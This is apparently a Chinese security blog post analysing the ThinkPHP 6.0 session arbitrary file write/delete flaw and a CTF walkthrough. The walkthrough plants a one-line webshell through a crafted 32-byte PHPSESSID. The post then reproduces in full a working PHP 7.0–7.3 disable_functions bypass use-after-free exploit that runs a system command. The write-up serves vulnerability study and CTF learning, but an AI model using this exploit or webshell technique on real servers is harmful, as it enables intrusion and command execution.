这篇文章在新春公益赛后就想详细的写一下,结果因为一些不重要但麻烦的事情耽搁了,写了一半就停下来了,今天把后面的补齐,更新出来
任意文件删除漏洞复现
环境搭建
漏洞主要影响的版本是ThinkPHP6.0.0-6.0.1,先搭建TP6.0的环境进行复现
方便期间环境我直接使用了docker镜像
docker search thinkphp
因为tp6.0的环境是基于php7的,我们直接pull下来,然后使用composer安装
yum install composer
漏洞分析
这个漏洞是在一月份左右爆出来的,详情的修复可以参照一个TP的官网
https://github.com/top-think/framework/commit/1bbe75019ce6c8e0101a6ef73706217e406439f2
我们可以通过官方的修复来推出漏洞的成因,主要原因应该出现在session中,分析一下关于session的相关代码文件
查看一下TP6存储SESSION文件的相关代码,目录位置:
/tp6/vendor/topthink/framework/src/think/session
既然爆出的漏洞的是任意文件删除,跟一下代码中能对文件进行删除操作的语句
搜索文件可以看到含有delete的函数位置大概有三处地方,既然漏洞是任意文件删除,我们推断删除的文件名是用户可控的,分析三处delete函数的调用位置,可以推测在函数256行的位置很可能是该漏洞的形成位置,因为SessionId在一定条件下可由用户进行修改。
既然推测出漏洞可能出来的位置,我们具体的分析一下成因,可以看到在存在删除函数的位置,也调用了wtite()函数,我们详细的跟一下写入操作
在同目录下的driver文件夹下File.php中找到了write()函数的详细定义
同时我们还看到了WriteFile()函数,跟进一下WirteFile()函数
发现可疑函数file_put_contents()写入文件操作,我们具体的跟进一下,写入的文件名是否可控
首先看一下函数的几个变量我们是否可以控制,两个参数
$path $content
WirteFile()的两个参数是从write()函数的两个参数\$sessID、$sessData中获取到的
而这两个参数来源是来自Save()函数调用write()函数,同时可以在函数中看到$sessionId值是从getId()中获取到的
所以经过上面的简单分析,我们可以知道,文件名是来自于\$sessionId,看一下获取生成$sessionId的条件
看一下setId()函数,当传输的id参数长度为32时,会创建\$sessionId并且$getId(),看一下在哪个位置调用了setId()函数
vendor/topthink/framework/src/think/middleware/SessionInit.php:46
首先对这几个变量进行一下分析,查看是否存在用户可控的变量,由于cookieName即为用户PHPSESSID,所以我们可以通过修改PHPSESSID的形式,达到文件名可控的操作,但在对文件内容控制中发现,session中的数据内容,是通过$data传入的
vendor/topthink/framework/src/think/session/Store.php:261
同时可以发现,data在环境中默认设置为空
这就导致了我们无法控制文件中的内容,需要在一定的条件下,才能达到构造webshell的目的。简单的总结一下:
如果在环境开启Session的条件下,此漏洞经过构造可进行任意文件删除
如果在环境开启Session且Session中的数据可控的情况下,我们可以通过此操作达到构造webshell的目的
明白原理之后,再看一下在比赛中的利用
ezthinking
这个题目是在二月份举办的一场比赛中有的,复现环境:
buuoj.cn
进入题目后,注册账号登陆,发现存在搜索框,随便搜索一下数据,没有发现其他的信息
fuzz了一下,存在备份文件泄露(www.zip),审计一下代码
简单看一下目录结构可以知道这是thinkphp的站点,看一下具体版本
从报错信息中看出这是thinkphp6.0的站点,正好是该漏洞的受影响版本,看一下我们对session的文件内容是否存在操作权限,首先要知道tp6的session文件默认存放位置为
/runtime/session文件夹下
文件名常常为:SESS_PHPSESSID,首先尝试访问一下存储我们用户信息的文件
可以看到,session文件中把我们刚才搜索的数据保存在了session文件中,说明我们对session文件里的内容具有可控的权限,此时即可文件名可控,我们可以在限制条件下构造shell
首先我们搜索一下构造的恶意代码
同时修改我们自己PHPSESSID添加.php的后缀,同时删除其他四个空余字符,保证我们的PHPSESSID长度为32个字节,然后在存储session目录的路径下进行访问
成功写入文件内容,构造一句话木马写入,使用蚁剑连接
在尝试获取flag的时候发现存在readflag函数,且无法正常执行系统命令,老考点了UAF
使用github上的exp进行读取
<?php
# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
#
# Author: https://github.com/mm0r1
pwn("/readflag");
function pwn($cmd) {
global $abc, $helper;
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
class ryat {
var $ryat;
var $chtg;
function __destruct()
{
$this->chtg = $this->ryat;
$this->ryat = 1;
}
}
class Helper {
public $a, $b, $c, $d;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if you get segfaults
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_repeat('A', 79);
$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
$out = unserialize($poc);
gc_collect_cycles();
$v = [];
$v[0] = ptr2str(0, 79);
unset($v);
$abc = $out[2][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}
使用shell文件包含,成功获取到flag
代码审计之TP6任意文件操作漏洞 – Sn0w says:
[…] https://blog.csdn.net/zhangchensong168/article/details/104106869 https://paper.seebug.org/1114/ http://www.pdsdt.lovepdsdt.com/index.php/2020/05/15/thinkphp6-getshell/ […]